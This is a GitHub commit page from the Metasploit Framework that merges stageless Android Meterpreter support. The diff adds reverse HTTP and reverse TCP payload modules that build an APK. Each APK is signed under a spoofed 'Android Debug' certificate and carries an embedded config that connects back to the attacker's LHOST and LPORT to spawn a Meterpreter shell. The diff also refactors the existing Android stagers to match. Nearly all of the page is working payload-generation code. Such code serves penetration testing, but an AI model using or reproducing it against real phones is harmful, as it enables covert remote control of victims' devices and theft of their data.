Skip to content

Commit 21ec491

Browse files
committed
Land rapid7#7292, android stageless with new payload gem
2 parents 45ee595 + a457f64 commit 21ec491

File tree

13 files changed

+244
-94
lines changed

13 files changed

+244
-94
lines changed

Gemfile.lock

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -14,7 +14,7 @@ PATH
1414
metasploit-concern
1515
metasploit-credential
1616
metasploit-model
17-
metasploit-payloads (= 1.1.15)
17+
metasploit-payloads (= 1.1.16)
1818
metasploit_data_models
1919
metasploit_payloads-mettle (= 0.0.6)
2020
msgpack
@@ -167,7 +167,7 @@ GEM
167167
activemodel (~> 4.2.6)
168168
activesupport (~> 4.2.6)
169169
railties (~> 4.2.6)
170-
metasploit-payloads (1.1.15)
170+
metasploit-payloads (1.1.16)
171171
metasploit_data_models (2.0.1)
172172
activerecord (~> 4.2.6)
173173
activesupport (~> 4.2.6)

lib/msf/core/handler/reverse_http.rb

Lines changed: 0 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -414,8 +414,6 @@ def on_request(cli, req)
414414
url = payload_uri(req) + conn_id
415415
url << '/' unless url[-1] == '/'
416416

417-
p url
418-
419417
# Short-circuit the payload's handle_connection processing for create_session
420418
create_session(cli, {
421419
:passive_dispatcher => self.service,

lib/msf/core/payload.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -28,7 +28,7 @@ class Payload < Msf::Module
2828
require 'msf/core/payload/windows'
2929
require 'msf/core/payload/netware'
3030
require 'msf/core/payload/java'
31-
require 'msf/core/payload/dalvik'
31+
require 'msf/core/payload/android'
3232
require 'msf/core/payload/firefox'
3333
require 'msf/core/payload/mainframe'
3434

lib/msf/core/payload/dalvik.rb renamed to lib/msf/core/payload/android.rb

Lines changed: 66 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,12 @@
11
# -*- coding: binary -*-
22
require 'msf/core'
3+
require 'msf/core/payload/uuid/options'
4+
require 'msf/core/payload/transport_config'
35

4-
module Msf::Payload::Dalvik
6+
module Msf::Payload::Android
7+
8+
include Msf::Payload::TransportConfig
9+
include Msf::Payload::UUID::Options
510

611
#
712
# Fix the dex header checksum and signature
@@ -31,25 +36,53 @@ def java_string(str)
3136
[str.length].pack("N") + str
3237
end
3338

34-
def apply_options(classes)
39+
def apply_options(classes, opts)
3540
timeouts = [
3641
datastore['SessionExpirationTimeout'].to_s,
3742
datastore['SessionCommunicationTimeout'].to_s,
3843
datastore['SessionRetryTotal'].to_s,
3944
datastore['SessionRetryWait'].to_s
4045
].join('-')
41-
string_sub(classes, 'TTTT ', 'TTTT' + timeouts)
46+
if opts[:stageless]
47+
config = generate_config_hex(opts)
48+
string_sub(classes, 'UUUU' + ' ' * 8191, 'UUUU' + config)
49+
end
50+
if opts[:ssl]
51+
verify_cert_hash = get_ssl_cert_hash(datastore['StagerVerifySSLCert'],
52+
datastore['HandlerSSLCert'])
53+
if verify_cert_hash
54+
hash = 'WWWW' + verify_cert_hash.unpack("H*").first
55+
string_sub(classes, 'WWWW ', hash)
56+
end
57+
end
58+
string_sub(classes, 'ZZZZ' + ' ' * 512, 'ZZZZ' + payload_uri)
59+
string_sub(classes, 'TTTT' + ' ' * 48, 'TTTT' + timeouts)
60+
end
61+
62+
def generate_config_hex(opts={})
63+
opts[:uuid] ||= generate_payload_uuid
64+
65+
config_opts = {
66+
ascii_str: true,
67+
arch: opts[:uuid].arch,
68+
expiration: datastore['SessionExpirationTimeout'].to_i,
69+
uuid: opts[:uuid],
70+
transports: [transport_config(opts)]
71+
}
72+
73+
config = Rex::Payloads::Meterpreter::Config.new(config_opts)
74+
config.to_b.unpack('H*').first
4275
end
4376

4477
def string_sub(data, placeholder="", input="")
4578
data.gsub!(placeholder, input + ' ' * (placeholder.length - input.length))
4679
end
4780

48-
def generate_cert
81+
def sign_jar(jar)
4982
x509_name = OpenSSL::X509::Name.parse(
50-
"C=Unknown/ST=Unknown/L=Unknown/O=Unknown/OU=Unknown/CN=Unknown"
51-
)
52-
key = OpenSSL::PKey::RSA.new(1024)
83+
"C=US/O=Android/CN=Android Debug"
84+
)
85+
key = OpenSSL::PKey::RSA.new(2048)
5386
cert = OpenSSL::X509::Certificate.new
5487
cert.version = 2
5588
cert.serial = 1
@@ -74,7 +107,32 @@ def generate_cert
74107
# If this line is left out, signature verification fails on OSX.
75108
cert.sign(key, OpenSSL::Digest::SHA1.new)
76109

77-
return cert, key
110+
jar.sign(key, cert, [cert])
78111
end
112+
113+
def generate_jar(opts={})
114+
if opts[:stageless]
115+
classes = MetasploitPayloads.read('android', 'meterpreter.dex')
116+
else
117+
classes = MetasploitPayloads.read('android', 'apk', 'classes.dex')
118+
end
119+
120+
apply_options(classes, opts)
121+
122+
jar = Rex::Zip::Jar.new
123+
files = [
124+
[ "AndroidManifest.xml" ],
125+
[ "resources.arsc" ]
126+
]
127+
jar.add_files(files, MetasploitPayloads.path("android", "apk"))
128+
jar.add_file("classes.dex", fix_dex_header(classes))
129+
jar.build_manifest
130+
131+
sign_jar(jar)
132+
133+
jar
134+
end
135+
136+
79137
end
80138

metasploit-framework.gemspec

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -65,7 +65,7 @@ Gem::Specification.new do |spec|
6565
# are needed when there's no database
6666
spec.add_runtime_dependency 'metasploit-model'
6767
# Needed for Meterpreter
68-
spec.add_runtime_dependency 'metasploit-payloads', '1.1.15'
68+
spec.add_runtime_dependency 'metasploit-payloads', '1.1.16'
6969
# Needed for the next-generation POSIX Meterpreter
7070
spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.0.6'
7171
# Needed by msfgui and other rpc components
Lines changed: 70 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,70 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'msf/core/handler/reverse_http'
8+
require 'msf/core/payload/transport_config'
9+
require 'msf/core/payload/android'
10+
require 'msf/core/payload/uuid/options'
11+
require 'msf/base/sessions/meterpreter_android'
12+
require 'msf/base/sessions/meterpreter_options'
13+
require 'rex/payloads/meterpreter/config'
14+
15+
module MetasploitModule
16+
17+
CachedSize = :dynamic
18+
19+
include Msf::Payload::TransportConfig
20+
include Msf::Payload::Single
21+
include Msf::Payload::Android
22+
include Msf::Payload::UUID::Options
23+
include Msf::Sessions::MeterpreterOptions
24+
25+
26+
def initialize(info = {})
27+
28+
super(merge_info(info,
29+
'Name' => 'Android Meterpreter Shell, Reverse HTTP Inline',
30+
'Description' => 'Connect back to attacker and spawn a Meterpreter shell',
31+
'License' => MSF_LICENSE,
32+
'Platform' => 'android',
33+
'Arch' => ARCH_DALVIK,
34+
'Handler' => Msf::Handler::ReverseHttp,
35+
'Session' => Msf::Sessions::Meterpreter_Java_Android,
36+
'Payload' => '',
37+
))
38+
register_options([
39+
OptBool.new('AutoLoadAndroid', [true, "Automatically load the Android extension", true])
40+
], self.class)
41+
end
42+
43+
#
44+
# Generate the transport-specific configuration
45+
#
46+
def transport_config(opts={})
47+
transport_config_reverse_http(opts)
48+
end
49+
50+
def generate_jar(opts={})
51+
opts[:stageless] = true
52+
super(opts)
53+
end
54+
55+
def payload_uri(req=nil)
56+
# Default URL length is 30-256 bytes
57+
uri_req_len = 30 + luri.length + rand(256 - (30 + luri.length))
58+
# Generate the short default URL if we don't know available space
59+
if self.available_space.nil?
60+
uri_req_len = 5
61+
end
62+
63+
url = "http://#{datastore["LHOST"]}:#{datastore["LPORT"]}#{luri}"
64+
# TODO: perhaps wire in an existing UUID from opts?
65+
url << generate_uri_uuid_mode(:init_connect, uri_req_len)
66+
67+
url
68+
end
69+
70+
end
Lines changed: 49 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,49 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
require 'msf/core'
6+
require 'msf/core/payload/android'
7+
require 'msf/core/payload/transport_config'
8+
require 'msf/base/sessions/meterpreter_android'
9+
require 'msf/base/sessions/meterpreter_options'
10+
require 'rex/payloads/meterpreter/config'
11+
12+
module MetasploitModule
13+
14+
CachedSize = :dynamic
15+
16+
include Msf::Payload::TransportConfig
17+
include Msf::Payload::Single
18+
include Msf::Payload::Android
19+
include Msf::Sessions::MeterpreterOptions
20+
21+
def initialize(info = {})
22+
super(merge_info(info,
23+
'Name' => 'Android Meterpreter Shell, Reverse TCP Inline',
24+
'Description' => 'Connect back to the attacker and spawn a Meterpreter shell',
25+
'Platform' => 'android',
26+
'Arch' => ARCH_DALVIK,
27+
'License' => MSF_LICENSE,
28+
'Handler' => Msf::Handler::ReverseTcp,
29+
'Session' => Msf::Sessions::Meterpreter_Java_Android,
30+
'Payload' => '',
31+
))
32+
register_options([
33+
OptBool.new('AutoLoadAndroid', [true, "Automatically load the Android extension", true])
34+
], self.class)
35+
end
36+
37+
#
38+
# Generate the transport-specific configuration
39+
#
40+
def transport_config(opts={})
41+
transport_config_reverse_tcp(opts)
42+
end
43+
44+
def generate_jar(opts={})
45+
opts[:stageless] = true
46+
super(opts)
47+
end
48+
49+
end

modules/payloads/stagers/android/reverse_http.rb

Lines changed: 11 additions & 20 deletions
Original file line numberDiff line numberDiff line change
@@ -12,12 +12,12 @@ module MetasploitModule
1212
CachedSize = :dynamic
1313

1414
include Msf::Payload::Stager
15-
include Msf::Payload::Dalvik
15+
include Msf::Payload::Android
1616
include Msf::Payload::UUID::Options
1717

1818
def initialize(info = {})
1919
super(merge_info(info,
20-
'Name' => 'Dalvik Reverse HTTP Stager',
20+
'Name' => 'Android Reverse HTTP Stager',
2121
'Description' => 'Tunnel communication over HTTP',
2222
'Author' => ['anwarelmakrahy', 'OJ Reeves'],
2323
'License' => MSF_LICENSE,
@@ -28,7 +28,14 @@ def initialize(info = {})
2828
))
2929
end
3030

31-
def generate_jar(opts={})
31+
#
32+
# Generate the transport-specific configuration
33+
#
34+
def transport_config(opts={})
35+
transport_config_reverse_http(opts)
36+
end
37+
38+
def payload_uri(req=nil)
3239
# Default URL length is 30-256 bytes
3340
uri_req_len = 30 + luri.length + rand(256 - (30 + luri.length))
3441
# Generate the short default URL if we don't know available space
@@ -40,23 +47,7 @@ def generate_jar(opts={})
4047
# TODO: perhaps wire in an existing UUID from opts?
4148
url << generate_uri_uuid_mode(:init_java, uri_req_len)
4249

43-
classes = MetasploitPayloads.read('android', 'apk', 'classes.dex')
44-
string_sub(classes, 'ZZZZ' + ' ' * 512, 'ZZZZ' + url)
45-
apply_options(classes)
46-
47-
jar = Rex::Zip::Jar.new
48-
jar.add_file("classes.dex", fix_dex_header(classes))
49-
files = [
50-
[ "AndroidManifest.xml" ],
51-
[ "resources.arsc" ]
52-
]
53-
jar.add_files(files, MetasploitPayloads.path("android", "apk"))
54-
jar.build_manifest
55-
56-
cert, key = generate_cert
57-
jar.sign(key, cert, [cert])
58-
59-
jar
50+
url
6051
end
6152

6253
end

modules/payloads/stagers/android/reverse_https.rb

Lines changed: 10 additions & 27 deletions
Original file line numberDiff line numberDiff line change
@@ -12,12 +12,12 @@ module MetasploitModule
1212
CachedSize = :dynamic
1313

1414
include Msf::Payload::Stager
15-
include Msf::Payload::Dalvik
15+
include Msf::Payload::Android
1616
include Msf::Payload::UUID::Options
1717

1818
def initialize(info = {})
1919
super(merge_info(info,
20-
'Name' => 'Dalvik Reverse HTTPS Stager',
20+
'Name' => 'Android Reverse HTTPS Stager',
2121
'Description' => 'Tunnel communication over HTTPS',
2222
'Author' => ['anwarelmakrahy', 'OJ Reeves'],
2323
'License' => MSF_LICENSE,
@@ -29,8 +29,13 @@ def initialize(info = {})
2929
end
3030

3131
def generate_jar(opts={})
32+
opts[:ssl] = true
33+
super(opts)
34+
end
35+
36+
def payload_uri(req=nil)
3237
# Default URL length is 30-256 bytes
33-
uri_req_len = 30 + rand(256-30)
38+
uri_req_len = 30 + luri.length + rand(256 - (30 + luri.length))
3439
# Generate the short default URL if we don't know available space
3540
if self.available_space.nil?
3641
uri_req_len = 5
@@ -40,30 +45,8 @@ def generate_jar(opts={})
4045
# TODO: perhaps wire in an existing UUID from opts?
4146
url << generate_uri_uuid_mode(:init_java, uri_req_len)
4247

43-
classes = MetasploitPayloads.read('android', 'apk', 'classes.dex')
44-
string_sub(classes, 'ZZZZ' + ' ' * 512, 'ZZZZ' + url)
45-
46-
verify_cert_hash = get_ssl_cert_hash(datastore['StagerVerifySSLCert'],
47-
datastore['HandlerSSLCert'])
48-
if verify_cert_hash
49-
hash = 'WWWW' + verify_cert_hash.unpack("H*").first
50-
string_sub(classes, 'WWWW ', hash)
51-
end
52-
53-
apply_options(classes)
54-
55-
jar = Rex::Zip::Jar.new
56-
jar.add_file("classes.dex", fix_dex_header(classes))
57-
files = [
58-
[ "AndroidManifest.xml" ],
59-
[ "resources.arsc" ]
60-
]
61-
jar.add_files(files, MetasploitPayloads.path("android", "apk"))
62-
jar.build_manifest
48+
url
49+
end
6350

64-
cert, key = generate_cert
65-
jar.sign(key, cert, [cert])
6651

67-
jar
68-
end
6952
end

0 commit comments

Comments
 (0)